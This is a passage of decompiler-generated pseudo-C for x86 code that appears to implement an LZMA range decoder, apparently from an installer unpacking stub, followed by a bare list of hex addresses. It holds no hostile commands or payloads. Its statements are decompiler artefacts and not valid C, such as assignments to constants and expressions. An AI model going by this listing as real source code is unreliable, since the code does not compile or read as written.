											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											while(1) {
												 *(_t613 - 0x54) = _t606;
												goto L133;
											}
										case 8:
											goto L0;
										case 9:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L89;
											}
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t258 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t258;
											0 | _t258 = _t258 + _t258 + 9;
											 *(__ebp - 0x38) = _t258 + _t258 + 9;
											goto L75;
										case 0xa:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x28);
											goto L88;
										case 0xb:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L88:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L89:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L99:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t334 = __ebp - 0x70;
											 *_t334 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t334;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											__eax =  *(__ebp - 0x2c);
											goto L101;
										case 0xd:
											L37:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xd;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t122 = __ebp - 0x70;
											 *_t122 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t122;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L39:
											__eax =  *(__ebp - 0x40);
											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
												goto L48;
											}
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												goto L54;
											}
											L41:
											__eax =  *(__ebp - 0x5b) & 0x000000ff;
											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
											__ecx =  *(__ebp - 0x58);
											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
											 *(__ebp - 0x48) = __eax;
											__eax = __eax + 1;
											__eax = __eax << 8;
											__eax = __eax + __ebx;
											__esi =  *(__ebp - 0x58) + __eax * 2;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edx = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												 *(__ebp - 0x40) = 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												__ebx = __ebx + __ebx + 1;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edx;
												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L39;
											} else {
												goto L37;
											}
										case 0xe:
											L46:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t156 = __ebp - 0x70;
											 *_t156 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t156;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											while(1) {
												L48:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													break;
												}
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t170 = __edx + 1; // 0x1
													__ebx = _t170;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													continue;
												} else {
													goto L46;
												}
											}
											L54:
											_t173 = __ebp - 0x34;
											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
											__eflags =  *_t173;
											goto L55;
										case 0xf:
											L58:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xf;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t203 = __ebp - 0x70;
											 *_t203 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t203;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L60:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												L55:
												__al =  *(__ebp - 0x44);
												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
												goto L56;
											}
											L61:
											__eax =  *(__ebp - 0x58);
											__edx = __ebx + __ebx;
											__ecx =  *(__ebp - 0x10);
											__esi = __edx + __eax;
											__ecx =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												_t217 = __edx + 1; // 0x1
												__ebx = _t217;
												__cx = __ax >> 5;
												__eflags = __eax;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L60;
											} else {
												goto L58;
											}
										case 0x10:
											L109:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x10;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t365 = __ebp - 0x70;
											 *_t365 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t365;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											goto L111;
										case 0x11:
											L69:
											__esi =  *(__ebp - 0x58);
											 *(__ebp - 0x84) = 0x12;
											while(1) {
												 *(_t613 - 0x54) = _t606;
												goto L133;
											}
										case 0x12:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 0x58);
												 *(__ebp - 0x84) = 0x13;
												__esi =  *(__ebp - 0x58) + 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x4c);
											 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											__eflags = __eax;
											__eax =  *(__ebp - 0x58) + __eax + 4;
											goto L130;
										case 0x13:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												_t469 = __ebp - 0x58;
												 *_t469 =  *(__ebp - 0x58) + 0x204;
												__eflags =  *_t469;
												 *(__ebp - 0x30) = 0x10;
												 *(__ebp - 0x40) = 8;
												L144:
												 *(__ebp - 0x7c) = 0x14;
												goto L145;
											}
											__eax =  *(__ebp - 0x4c);
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											 *(__ebp - 0x30) = 8;
											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
											L130:
											 *(__ebp - 0x58) = __eax;
											 *(__ebp - 0x40) = 3;
											goto L144;
										case 0x14:
											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
											__eax =  *(__ebp - 0x80);
											 *(_t613 - 0x88) = _t533;
											goto L1;
										case 0x15:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
											__al = __al & 0x000000fd;
											__eax = (__eflags >= 0) - 1 + 0xb;
											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
											goto L120;
										case 0x16:
											__eax =  *(__ebp - 0x30);
											__eflags = __eax - 4;
											if(__eax >= 4) {
												_push(3);
												_pop(__eax);
											}
											__ecx =  *(__ebp - 4);
											 *(__ebp - 0x40) = 6;
											__eax = __eax << 7;
											 *(__ebp - 0x7c) = 0x19;
											 *(__ebp - 0x58) = __eax;
											goto L145;
										case 0x17:
											L145:
											__eax =  *(__ebp - 0x40);
											 *(__ebp - 0x50) = 1;
											 *(__ebp - 0x48) =  *(__ebp - 0x40);
											goto L149;
										case 0x18:
											L146:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x18;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t484 = __ebp - 0x70;
											 *_t484 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t484;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L148:
											_t487 = __ebp - 0x48;
											 *_t487 =  *(__ebp - 0x48) - 1;
											__eflags =  *_t487;
											L149:
											__eflags =  *(__ebp - 0x48);
											if( *(__ebp - 0x48) <= 0) {
												__ecx =  *(__ebp - 0x40);
												__ebx =  *(__ebp - 0x50);
												0 = 1;
												__eax = 1 << __cl;
												__ebx =  *(__ebp - 0x50) - (1 << __cl);
												__eax =  *(__ebp - 0x7c);
												 *(__ebp - 0x44) = __ebx;
												while(1) {
													 *(_t613 - 0x88) = _t533;
													goto L1;
												}
											}
											__eax =  *(__ebp - 0x50);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
											__eax =  *(__ebp - 0x58);
											__esi = __edx + __eax;
											 *(__ebp - 0x54) = __esi;
											__ax =  *__esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												__cx = __ax >> 5;
												__eax = __eax - __ecx;
												__edx = __edx + 1;
												__eflags = __edx;
												 *__esi = __ax;
												 *(__ebp - 0x50) = __edx;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L148;
											} else {
												goto L146;
											}
										case 0x19:
											__eflags = __ebx - 4;
											if(__ebx < 4) {
												 *(__ebp - 0x2c) = __ebx;
												L119:
												_t393 = __ebp - 0x2c;
												 *_t393 =  *(__ebp - 0x2c) + 1;
												__eflags =  *_t393;
												L120:
												__eax =  *(__ebp - 0x2c);
												__eflags = __eax;
												if(__eax == 0) {
													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
													goto L170;
												}
												__eflags = __eax -  *(__ebp - 0x60);
												if(__eax >  *(__ebp - 0x60)) {
													goto L171;
												}
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
												__eax =  *(__ebp - 0x30);
												_t400 = __ebp - 0x60;
												 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
												__eflags =  *_t400;
												goto L123;
											}
											__ecx = __ebx;
											__eax = __ebx;
											__ecx = __ebx >> 1;
											__eax = __ebx & 0x00000001;
											__ecx = (__ebx >> 1) - 1;
											__al = __al | 0x00000002;
											__eax = (__ebx & 0x00000001) << __cl;
											__eflags = __ebx - 0xe;
											 *(__ebp - 0x2c) = __eax;
											if(__ebx >= 0xe) {
												__ebx = 0;
												 *(__ebp - 0x48) = __ecx;
												L102:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__eax = __eax + __ebx;
													 *(__ebp - 0x40) = 4;
													 *(__ebp - 0x2c) = __eax;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x644;
													__eflags = __eax;
													L108:
													__ebx = 0;
													 *(__ebp - 0x58) = __eax;
													 *(__ebp - 0x50) = 1;
													 *(__ebp - 0x44) = 0;
													 *(__ebp - 0x48) = 0;
													L112:
													__eax =  *(__ebp - 0x40);
													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
														_t391 = __ebp - 0x2c;
														 *_t391 =  *(__ebp - 0x2c) + __ebx;
														__eflags =  *_t391;
														goto L119;
													}
													__eax =  *(__ebp - 0x50);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
													__eax =  *(__ebp - 0x58);
													__esi = __edi + __eax;
													 *(__ebp - 0x54) = __esi;
													__ax =  *__esi;
													__ecx = __ax & 0x0000ffff;
													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
													__eflags =  *(__ebp - 0xc) - __edx;
													if( *(__ebp - 0xc) >= __edx) {
														__ecx = 0;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
														__ecx = 1;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
														__ebx = 1;
														__ecx =  *(__ebp - 0x48);
														__ebx = 1 << __cl;
														__ecx = 1 << __cl;
														__ebx =  *(__ebp - 0x44);
														__ebx =  *(__ebp - 0x44) | __ecx;
														__cx = __ax;
														__cx = __ax >> 5;
														__eax = __eax - __ecx;
														__edi = __edi + 1;
														__eflags = __edi;
														 *(__ebp - 0x44) = __ebx;
														 *__esi = __ax;
														 *(__ebp - 0x50) = __edi;
													} else {
														 *(__ebp - 0x10) = __edx;
														0x800 = 0x800 - __ecx;
														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
														 *__esi = __dx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L111:
														_t368 = __ebp - 0x48;
														 *_t368 =  *(__ebp - 0x48) + 1;
														__eflags =  *_t368;
														goto L112;
													} else {
														goto L109;
													}
												}
												__ecx =  *(__ebp - 0xc);
												__ebx = __ebx + __ebx;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
													__ecx =  *(__ebp - 0x10);
													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													__ebx = __ebx | 0x00000001;
													__eflags = __ebx;
													 *(__ebp - 0x44) = __ebx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													L101:
													_t338 = __ebp - 0x48;
													 *_t338 =  *(__ebp - 0x48) - 1;
													__eflags =  *_t338;
													goto L102;
												} else {
													goto L99;
												}
											}
											__edx =  *(__ebp - 4);
											__eax = __eax - __ebx;
											 *(__ebp - 0x40) = __ecx;
											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
											goto L108;
										case 0x1a:
											L56:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1a;
												goto L170;
											}
											__ecx =  *(__ebp - 0x68);
											__al =  *(__ebp - 0x5c);
											__edx =  *(__ebp - 8);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
											 *( *(__ebp - 0x68)) = __al;
											__ecx =  *(__ebp - 0x14);
											 *(__ecx +  *(__ebp - 8)) = __al;
											__eax = __ecx + 1;
											__edx = 0;
											_t192 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t192;
											goto L79;
										case 0x1b:
											L75:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1b;
												goto L170;
											}
											__eax =  *(__ebp - 0x14);
											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
											__eflags = __eax -  *(__ebp - 0x74);
											if(__eax >=  *(__ebp - 0x74)) {
												__eax = __eax +  *(__ebp - 0x74);
												__eflags = __eax;
											}
											__edx =  *(__ebp - 8);
											__cl =  *(__eax + __edx);
											__eax =  *(__ebp - 0x14);
											 *(__ebp - 0x5c) = __cl;
											 *(__eax + __edx) = __cl;
											__eax = __eax + 1;
											__edx = 0;
											_t274 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t274;
											__eax =  *(__ebp - 0x68);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											_t283 = __ebp - 0x64;
											 *_t283 =  *(__ebp - 0x64) - 1;
											__eflags =  *_t283;
											 *( *(__ebp - 0x68)) = __cl;
											L79:
											 *(__ebp - 0x14) = __edx;
											goto L80;
										case 0x1c:
											while(1) {
												L123:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													break;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t414 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t414;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
												__eflags =  *(__ebp - 0x30);
												 *( *(__ebp - 0x68)) = __cl;
												 *(__ebp - 0x14) = _t414;
												if( *(__ebp - 0x30) > 0) {
													continue;
												} else {
													L80:
													 *(__ebp - 0x88) = 2;
													goto L1;
												}
											}
											 *(__ebp - 0x88) = 0x1c;
											goto L170;
									}
								}
								L171:
								_t535 = _t534 | 0xffffffff;
								goto L172;
							}
						}
					}
				}
			}

0x00000000
0x0040663c
0x0040663c
0x00406640
0x00406669
0x00406673
0x00406642
0x0040664b
0x00406658
0x0040665b
0x0040699f
0x0040699f
0x004069a2
0x004069a2
0x004069a2
0x004069a8
0x004069ae
0x004069b4
0x004069ce
0x004069d1
0x004069d7
0x004069e2
0x004069e4
0x004069b6
0x004069b6
0x004069c5
0x004069c9
0x004069c9
0x004069ee
0x00000000
0x00000000
0x004069f0
0x004069f4
0x00406ba3
0x00406bb9
0x00406bc1
0x00406bc8
0x00406bca
0x00406bd1
0x00406bd5
0x00406bd5
0x00406a00
0x00406a07
0x00406a0f
0x00406a12
0x00406a15
0x00406a15
0x00406a1b
0x00406a1b
0x004061b7
0x004061b7
0x004061b7
0x004061c0
0x00000000
0x00000000
0x004061c6
0x00000000
0x004061d1
0x00000000
0x00000000
0x004061da
0x004061dd
0x004061e0
0x004061e4
0x00000000
0x00000000
0x004061ea
0x004061ed
0x004061ef
0x004061f0
0x004061f3
0x004061f5
0x004061f6
0x004061f8
0x004061fb
0x00406200
0x00406205
0x0040620e
0x00406221
0x00406224
0x00406230
0x00406258
0x0040625a
0x00406268
0x00406268
0x0040626c
0x00000000
0x00000000
0x00000000
0x00000000
0x0040625c
0x0040625c
0x0040625f
0x00406260
0x00406260
0x00000000
0x0040625c
0x00406236
0x0040623b
0x0040623b
0x00406244
0x0040624c
0x0040624f
0x00000000
0x00406255
0x00406255
0x00000000
0x00406255
0x00000000
0x00406272
0x00406272
0x00406276
0x00406b22
0x00000000
0x00406b22
0x0040627f
0x0040628f
0x00406292
0x00406295
0x00406295
0x00406295
0x00406298
0x0040629c
0x00000000
0x00000000
0x0040629e
0x004062a4
0x004062ce
0x004062d4
0x004062db
0x00000000
0x004062db
0x004062aa
0x004062ad
0x004062b2
0x004062b2
0x004062bd
0x004062c5
0x004062c8
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040630d
0x00406313
0x00406316
0x00406323
0x0040632b
0x0040699f
0x00000000
0x00000000
0x004062e2
0x004062e2
0x004062e6
0x00406b31
0x00000000
0x00406b31
0x004062f2
0x004062fd
0x004062fd
0x004062fd
0x00406300
0x00406303
0x00406306
0x0040630b
0x00000000
0x00000000
0x00000000
0x00000000
0x004069a2
0x004069a2
0x004069a8
0x004069ae
